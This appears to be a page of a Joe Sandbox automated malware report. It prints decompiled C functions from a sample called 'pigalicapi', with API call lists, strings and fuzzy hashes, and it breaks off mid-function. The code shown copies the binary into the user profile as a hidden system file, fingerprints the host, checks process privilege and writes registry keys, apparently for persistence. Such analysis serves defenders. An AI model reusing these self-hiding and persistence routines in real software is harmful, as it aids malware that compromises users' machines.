Opcode Fuzzy Hash: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction Fuzzy Hash: 6A910D74A04208AFEB14DFA4D849BDDBBB5FB48705F108219FA05BB2C0D778A984CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04005700 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 148
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04005700(CHAR* _a4) {
				char _v5;
				char _v24;
				long _v28;
				void* _v32;
				char _v556;
				long _v560;
				void* _v564;
				long _v568;
				intOrPtr _t59;
				void* _t67;
				void* _t71;

				_v5 = 0;
				if(_a4 != 0) {
					E04008F80(_a4, 0x100, _a4 + 0x437); // executed
					GetModuleFileNameA(0, _a4 + 0x100, 0x104);
					E04001CA0(_a4 + 0x204, 0x104); // executed
					E04009D20( &_v24, _a4 + 0x40c, 0x27); // executed
					E04007B70(_a4 + 0x45b,  &_v24, 0x10);
					_t59 = E04005CD0(_a4 + 0x100); // executed
					 *((intOrPtr*)(_a4 + 0x433)) = _t59;
					lstrcpyA(_a4 + 0x43b, "pigalicapi");
					E04007D20( &_v556,  &_v556, 0, 0x208);
					_v28 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v556, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v556,  &_v28);
					}
					wnsprintfA(_a4 + 0x308, 0x104, "%s\\%s.exe",  &_v556, "pigalicapi");
					_t67 = CreateFileA(_a4 + 0x100, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v32 = _t67;
					if(_v32 != 0xffffffff) {
						_v560 = GetFileSize(_v32, 0);
						if(_v560 > 0) {
							_t71 = VirtualAlloc(0, _v560, 0x3000, 4); // executed
							_v564 = _t71;
							if(_v564 != 0) {
								_v568 = 0;
								ReadFile(_v32, _v564, _v560,  &_v568, 0); // executed
								if(_v568 != _v560) {
									VirtualFree(_v564, 0, 0x8000);
								} else {
									 *(_a4 + 0x453) = _v560;
									 *(_a4 + 0x457) = _v564;
								}
							}
						}
						CloseHandle(_v32);
					}
					_v5 = 1;
				}
				return _v5;
			}

APIs

Part of subcall function 04008F80: GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
Part of subcall function 04008F80: GetSystemInfo.KERNEL32(?), ref: 04009009
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
Part of subcall function 04008F80: lstrlenA.KERNEL32(?), ref: 0400922F
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,?), ref: 04009253
Part of subcall function 04008F80: lstrlenA.KERNEL32(00000000), ref: 0400925D
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742

Part of subcall function 04001CA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
Part of subcall function 04001CA0: GetCurrentProcessId.KERNEL32 ref: 04001CEE
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
Part of subcall function 04001CA0: lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
Part of subcall function 04001CA0: lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
Part of subcall function 04001CA0: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
Part of subcall function 04001CA0: EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
Part of subcall function 04001CA0: GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
Part of subcall function 04001CA0: FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Part of subcall function 04001CA0: CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Part of subcall function 04009D20: GetSystemDirectoryA.KERNEL32 ref: 04009D9A
Part of subcall function 04009D20: GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD
Part of subcall function 04009D20: StringFromCLSID.OLE32(00000020,?), ref: 04009EF7

Part of subcall function 04005CD0: lstrlenA.KERNEL32(00000000), ref: 04005CEB
Part of subcall function 04005CD0: CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
Part of subcall function 04005CD0: GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
Part of subcall function 04005CD0: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
Part of subcall function 04005CD0: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
Part of subcall function 04005CD0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
Part of subcall function 04005CD0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000207), ref: 0400580A
wnsprintfA.SHLWAPI ref: 0400582F
CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005896
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040058D0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04005912
CloseHandle.KERNEL32(000000FF), ref: 0400591C

Strings

pigalicapi, xrefs: 040057A9, 04005810
%s\%s.exe, xrefs: 0400581C
USERPROFILE, xrefs: 04005805

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$lstrcat$CloseVirtuallstrlen$CreateProcess$AllocChangeDirectoryFindFirstFreeHandleModuleNameNotificationProcess32ReadSizeSystemlstrcpy$CurrentEnumEnvironmentFromInfoInformationModulesOpenProfileSnapshotStringToolhelp32UsersVariableVersionVolumewnsprintf
String ID: %s\%s.exe$USERPROFILE$pigalicapi
API String ID: 560841407-4090404022
Opcode ID: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction ID: 5a1df65dd39d11d2feffdc598e8508d5089156913625d6b4e9fa29ff03a3d0d3
Opcode Fuzzy Hash: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction Fuzzy Hash: 66515FB4944208BBFB14DF60DC59FEA7774EB44709F048168FA097A2C1D778AA81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04001120 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 116
stringfilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E04001120(CHAR* _a4, CHAR* _a8, signed int _a12, signed char _a16, void** _a20) {
				struct _SECURITY_ATTRIBUTES* _v8;
				long _v12;
				void* _v16;
				char _v284;
				void* _v288;
				char _v556;
				void* _v560;
				void* _v564;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && lstrlenA(_a4) != 0 && lstrlenA(_a8) != 0) {
					_v12 = 0x104;
					if((_a12 & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v284, 0x104);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v284,  &_v12);
					}
					wnsprintfA( &_v556, 0x103, "%s\\%s.exe",  &_v284, _a8);
					if(lstrcmpiA(_a4,  &_v556) != 0 && (_a16 & 0x000000ff) == 0) {
						CopyFileA(_a4,  &_v556, 0);
						SetFileAttributesA( &_v556, 6);
						lstrcpyA(_a4,  &_v556);
					}
					_v560 = E040097A0(0x30d);
					_v16 = _v560;
					 *((char*)(_v16 + 0x30c)) = _a12;
					lstrcpyA(_v16,  &_v556);
					lstrcpyA(_v16 + 0x208, _a8);
					_t58 = CreateThread(0, 0, E040012D0, _v16, 0, 0); // executed
					_v288 = _t58;
					if(_v288 == 0) {
						_v564 = _v16;
						E040097C0(_v564);
					} else {
						if(_a20 != 0) {
							 *_a20 = _v288;
						}
						_v8 = 1;
					}
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04001148
lstrlenA.KERNEL32(00000000), ref: 0400115A
GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182

Part of subcall function 040097C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 040097CF
Part of subcall function 040097C0: HeapFree.KERNEL32(00000000), ref: 040097D6

GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000104), ref: 0400119B
wnsprintfA.SHLWAPI ref: 040011BD
lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
lstrcpyA.KERNEL32(00000104,?), ref: 04001210
lstrcpyA.KERNEL32(00000000,?), ref: 04001249
lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
CreateThread.KERNEL32 ref: 04001274

Strings

USERPROFILE, xrefs: 04001196
%s\%s.exe, xrefs: 040011AC

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrcpy$FileHeaplstrlen$AttributesCopyCreateDirectoryEnvironmentFreeProcessProfileThreadUsersVariablelstrcmpiwnsprintf
String ID: %s\%s.exe$USERPROFILE
API String ID: 1231128424-1744756051
Opcode ID: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction ID: 5a94151192094d4d6073c3e413aca9132142fa07401a96dcdce05a8263d9ef35
Opcode Fuzzy Hash: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction Fuzzy Hash: 2A413675904208ABEB54CFA4D889BDE77B4EF48704F00C295F509AA281D779EA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 040099F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E040099F0() {
				intOrPtr _v8;
				char _v9;
				void* _v16;
				char _v1044;
				char _v2068;
				long _v2072;
				void* _v2076;
				void* _v2080;
				char _v2084;
				int _t43;

				_v9 = 0;
				_v8 = 0x400;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v16) == 0) {
					L12:
					return _v9;
				}
				_v2072 = 0;
				GetTokenInformation(_v16, 1, 0, 0,  &_v2072); // executed
				if(_v2072 >= 0x400) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v2076 =  &_v1044;
				_t43 = GetTokenInformation(_v16, 1, _v2076, _v2072,  &_v2072); // executed
				if(_t43 == 0) {
					goto L11;
				}
				_v2080 =  &_v2068;
				_v2084 = 0x44;
				__imp__CreateWellKnownSid(0xc, 0, _v2080,  &_v2084);
				if(EqualSid(_v2080,  *_v2076) == 0) {
					__imp__CreateWellKnownSid(0x16, 0, _v2080,  &_v2084);
					if(EqualSid(_v2080,  *_v2076) == 0) {
						__imp__CreateWellKnownSid(0x17, 0, _v2080,  &_v2084);
						if(EqualSid(_v2080,  *_v2076) == 0) {
							__imp__CreateWellKnownSid(0x18, 0, _v2080,  &_v2084);
							if(EqualSid(_v2080,  *_v2076) == 0) {
								goto L11;
							}
							return 1;
						}
						return 1;
					}
					return 1;
				}
				return 1;
			}

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
EqualSid.ADVAPI32(?,00000000), ref: 04009AC3
CreateWellKnownSid.ADVAPI32(00000016,00000000,?,00000044), ref: 04009AE6
EqualSid.ADVAPI32(?), ref: 04009AFC
CloseHandle.KERNEL32(?), ref: 04009B7A

Strings

D, xrefs: 04009A91

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Token$CreateEqualInformationKnownProcessWell$CloseCurrentHandleOpen
String ID: D
API String ID: 98007406-2746444292
Opcode ID: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction ID: 7ae4063a6f13a9051a7762c6ae15c07f15253da6e1139fe1377935b2c4657608
Opcode Fuzzy Hash: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction Fuzzy Hash: AB41F0B5A042189BEB24DF90CC45FDAB3FDFF48700F04C1E4A549A6181DE74AA81DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04005A00 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 99
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04005A00(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				void* _t27;
				void* _t33;
				CHAR* _t35;
				int _t39;
				long _t43;
				CHAR* _t51;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0x10) {
					E04007D20(_t27, "Sscculmqcxgnq", 0, 0xe);
					lstrcpyA("Sscculmqcxgnq", "WDefault");
					_t33 = E04005930(_a4 + 0x45b, "Sscculmqcxgnq", 0xd); // executed
					E04007D20(_t33, _a8, 0, _a12);
					_t35 =  *0x401189c; // 0x400c4e0
					if(lstrlenA(_t35) < _a12) {
						_t51 =  *0x401189c; // 0x400c4e0
						lstrcpyA(_a8, _t51);
						_t39 = lstrlenA(_a8);
						if(_t39 + lstrlenA(?str?) < _a12) {
							lstrcatA(_a8, "Sscculmqcxgnq");
							_v12 = 0x80000001;
							_v16 = 0;
							_v20 = 0;
							_t43 = RegCreateKeyExA(_v12, _a8, 0, 0, 0, 0x20006, 0,  &_v16,  &_v20); // executed
							if(_t43 != 0) {
								E04007D20(_t43, _a8, 0, _a12);
								lstrcpyA(_a8, "software\\microsoft\\windows\\currentversion\\uninstall");
							} else {
								RegCloseKey(_v16); // executed
							}
							_v8 = lstrlenA(_a8);
						}
					}
				}
				return _v8;
			}

APIs

lstrcpyA.KERNEL32(Sscculmqcxgnq,WDefault), ref: 04005A47

Part of subcall function 04005930: CharUpperA.USER32(00000000), ref: 040059E2

lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
lstrlenA.KERNEL32(00000000), ref: 04005AA1
lstrlenA.KERNEL32(Sscculmqcxgnq), ref: 04005AAE
lstrcatA.KERNEL32(00000000,Sscculmqcxgnq), ref: 04005AC8
RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
RegCloseKey.KERNEL32(00000000), ref: 04005B0E
lstrcpyA.KERNEL32(00000000,software\microsoft\windows\currentversion\uninstall), ref: 04005B31
lstrlenA.KERNEL32(00000000), ref: 04005B3B

Strings

Sscculmqcxgnq, xrefs: 04005A30, 04005A42, 04005A4F, 04005AA9, 04005ABF
software\microsoft\windows\currentversion\uninstall, xrefs: 04005B28
WDefault, xrefs: 04005A3D

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrlen$lstrcpy$CharCloseCreateUpperlstrcat
String ID: Sscculmqcxgnq$WDefault$software\microsoft\windows\currentversion\uninstall
API String ID: 4161867159-2182964826
Opcode ID: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction ID: 2f1465acc8a4d9a659e2af8a658b36752d7f83b1b7b92a7dc582af9786930c23
Opcode Fuzzy Hash: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction Fuzzy Hash: 40310775600208FBEB14DFA4DC49FAA37B9EB44708F04C615FA15BB281D7B8AA50CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04001CA0 Relevance: 21.1, APIs: 14, Instructions: 111
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E04001CA0(CHAR* _a4, intOrPtr _a8) {
				char _v5;
				char _v272;
				long _v284;
				intOrPtr _v300;
				void* _v308;
				void* _v312;
				long _v316;
				long _v320;
				void* _v324;
				char _v328;
				int _v332;
				void* _t44;
				int _t47;
				void* _t61;

				_v5 = 0;
				_t44 = CreateToolhelp32Snapshot(2, 0); // executed
				_v312 = _t44;
				if(_v312 == 0xffffffff) {
					L18:
					return _v5;
				}
				_v308 = 0x128;
				_t47 = Process32First(_v312,  &_v308); // executed
				if(_t47 == 0) {
					L17:
					CloseHandle(_v312);
					goto L18;
				}
				_v320 = GetCurrentProcessId();
				_v316 = 0;
				while(_v300 != _v320) {
					if(Process32Next(_v312,  &_v308) != 0) {
						continue;
					}
					L6:
					if(_v316 != 0 && Process32First(_v312,  &_v308) != 0) {
						while(_v300 != _v316) {
							if(Process32Next(_v312,  &_v308) != 0) {
								continue;
							}
							goto L17;
						}
						if(lstrlenA( &_v272) < _a8) {
							lstrcpyA(_a4,  &_v272);
							_v324 = OpenProcess(0x410, 0, _v316);
							if(_v324 != 0) {
								_v332 = 0;
								_push( &_v332);
								_push(4);
								_push( &_v328);
								_t61 = _v324;
								_push(_t61); // executed
								L0400B1D4(); // executed
								if(_t61 == 0) {
									_push(_a8);
									_push(_a4);
									_push(_v324); // executed
									L0400B1C8(); // executed
								} else {
									_push(_a8);
									_push(_a4);
									_push(_v328);
									_push(_v324);
									L0400B1CE();
								}
								_v5 = 1;
								FindCloseChangeNotification(_v324); // executed
							}
						}
					}
					goto L17;
				}
				_v316 = _v284;
				goto L6;
			}

0x04001ca9
0x04001cb1
0x04001cb6
0x04001cc3
0x04001e51
0x04001e57
0x04001e57
0x04001cc9
0x04001ce1
0x04001ce8
0x04001e44
0x04001e4b
0x00000000
0x04001e4b
0x04001cf4
0x04001cfa
0x04001d04
0x04001d35
0x00000000
0x00000000
0x04001d37
0x04001d3e
0x04001d5f
0x04001e3e
0x00000000
0x00000000
0x00000000
0x04001e3e
0x04001d81
0x04001d92
0x04001dac
0x04001db9
0x04001dbb
0x04001dcb
0x04001dcc
0x04001dd4
0x04001dd5
0x04001ddb
0x04001ddc
0x04001de3
0x04001e05
0x04001e09
0x04001e10
0x04001e11
0x04001de5
0x04001de8
0x04001dec
0x04001df3
0x04001dfa
0x04001dfb
0x04001dfb
0x04001e16
0x04001e21
0x04001e21
0x04001db9
0x04001e27
0x00000000
0x04001d3e
0x04001d18
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
GetCurrentProcessId.KERNEL32 ref: 04001CEE
Process32Next.KERNEL32 ref: 04001D2E
Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
GetProcessImageFileNameA.PSAPI(00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E11
FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Process32Next.KERNEL32 ref: 04001E37
CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: ProcessProcess32$CloseFileFirstNameNext$ChangeCreateCurrentEnumFindHandleImageModuleModulesNotificationOpenSnapshotToolhelp32lstrcpylstrlen
String ID:
API String ID: 384183238-0
Opcode ID: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction ID: c9fd9719e36fb5edb768dae97ebace1d15885c7ece39cbb3db7519296d7591e9
Opcode Fuzzy Hash: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction Fuzzy Hash: 9641DC719002189BEB65DF94CD84BEDB7B9AB48304F0086D8E60DB6180DB75BE84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04005F30 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005F30() {
				char* _v8;
				signed int _v9;
				void* _v16;
				void* _v20;
				char _v284;
				int _v288;
				int _v292;
				char _v324;
				int _v328;
				char* _t27;
				CHAR* _t30;
				long _t33;
				long _t37;

				_v9 = 0;
				_t27 =  *0x40118a0; // 0x4013b88
				_v8 = _t27;
				E04007D20(_t27,  &_v284, 0, 0x104);
				lstrcpyA( &_v284, "pigalicapi");
				_t30 =  *0x4011898; // 0x4013fe2
				lstrcatA( &_v284, _t30);
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t33 = RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20); // executed
				if(_t33 == 0) {
					_v292 = 0x20;
					_v288 = 0x20;
					_t37 = RegQueryValueExA(_v20,  &_v284, 0, 0,  &_v324,  &_v288); // executed
					if(_t37 == 0) {
						_v9 = 1;
					}
					_t47 = _v9 & 0x000000ff;
					if((_v9 & 0x000000ff) == 0) {
						_v328 = 0x10;
						E04009BD0(_t47,  &_v324, 0x10);
						RegSetValueExA(_v20,  &_v284, 0, 3,  &_v324, 0x10);
					}
					RegCloseKey(_v20);
				}
				return _v9;
			}

0x04005f39
0x04005f3d
0x04005f42
0x04005f53
0x04005f67
0x04005f6d
0x04005f7a
0x04005f80
0x04005f90
0x04005f92
0x04005f92
0x04005f99
0x04005fb3
0x04005fbb
0x04005fc1
0x04005fcb
0x04005ff2
0x04005ffa
0x04005ffc
0x04005ffc
0x04006000
0x04006006
0x04006008
0x0400601b
0x0400603b
0x0400603b
0x04006045
0x04006045
0x04006051

APIs

lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
RegOpenKeyExA.KERNEL32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
RegCloseKey.ADVAPI32(00000000), ref: 04006045

Strings

, xrefs: 04005FC1
pigalicapi, xrefs: 04005F5B
, xrefs: 04005FCB

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Value$CloseOpenQuerylstrcatlstrcpy
String ID: $ $pigalicapi
API String ID: 764223185-550099112
Opcode ID: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction ID: d868066335aa3bc34e1d01a835705104c70e08da6b50357c6a08ba3ec109f492
Opcode Fuzzy Hash: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction Fuzzy Hash: 6F3143B194021CABEB14CF90DC45FFEB7B8EB08704F048598EB04B6181D7B96A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04004096 Relevance: 15.1, APIs: 10, Instructions: 121
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004096() {
				void _t92;
				void* _t114;
				void* _t161;
				void* _t163;
				void* _t166;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t161 - 0x38)) =  *((intOrPtr*)(_t161 - 0x38)) + 1;
					if( *((intOrPtr*)(_t161 - 0x38)) >=  *((intOrPtr*)(_t161 + 0x14))) {
						break;
					}
					L2:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000);
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					_t171 =  *(_t161 - 0x34);
					if( *(_t161 - 0x34) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
						 *(_t161 - 0x34) = 0;
					}
					ResetEvent( *(_t161 - 0x10));
					LeaveCriticalSection(_t161 - 0x28);
					_t92 = CreateThread(0, 0, E04004AC0, _t161 - 0x34, 0, 0); // executed
					 *(_t161 - 0x34) = _t92;
					 *(_t161 - 0x64) = E040097A0( ~(0 | _t171 > 0x00000000) |  *(_t161 + 0x18) * 0x00000004);
					 *(_t161 - 0x3c) =  *(_t161 - 0x64);
					E04007D20( *(_t161 - 0x64),  *(_t161 - 0x3c), 0,  *(_t161 + 0x18) << 2);
					_t166 = _t163 + 0x10;
					 *(_t161 - 0x60) = 0;
					L8:
					while( *(_t161 - 0x60) <  *(_t161 + 0x18)) {
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = 0;
						E04007D20( *(_t161 - 0x3c), _t161 - 0x58, 0, 0x1c);
						_t166 = _t166 + 0xc;
						 *((intOrPtr*)(_t161 - 0x40)) = _t161 - 0x34;
						 *((intOrPtr*)(_t161 - 0x44)) =  *((intOrPtr*)(_t161 + 0x10));
						 *(_t161 - 0x58) =  *(_t161 + 8);
						 *(_t161 - 0x50) =  *(_t161 - 0x60) *  *(_t161 - 8);
						if( *(_t161 - 0x60) >=  *(_t161 + 0x18) - 1) {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *((intOrPtr*)(_t161 + 0xc)) - 1;
						} else {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *(_t161 - 0x50) +  *(_t161 - 8) - 1;
						}
						 *(_t161 - 0x48) = CreateEventA(0, 1, 0, 0);
						_t114 = CreateThread(0, 0, E04004BA0, _t161 - 0x58, 0, 0); // executed
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = _t114;
						WaitForSingleObject( *(_t161 - 0x48), 0xffffffff);
						FindCloseChangeNotification( *(_t161 - 0x48)); // executed
						 *(_t161 - 0x60) =  *(_t161 - 0x60) + 1;
					}
					WaitForMultipleObjects( *(_t161 + 0x18),  *(_t161 - 0x3c), 1, 0xffffffff);
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x10), 0x2710);
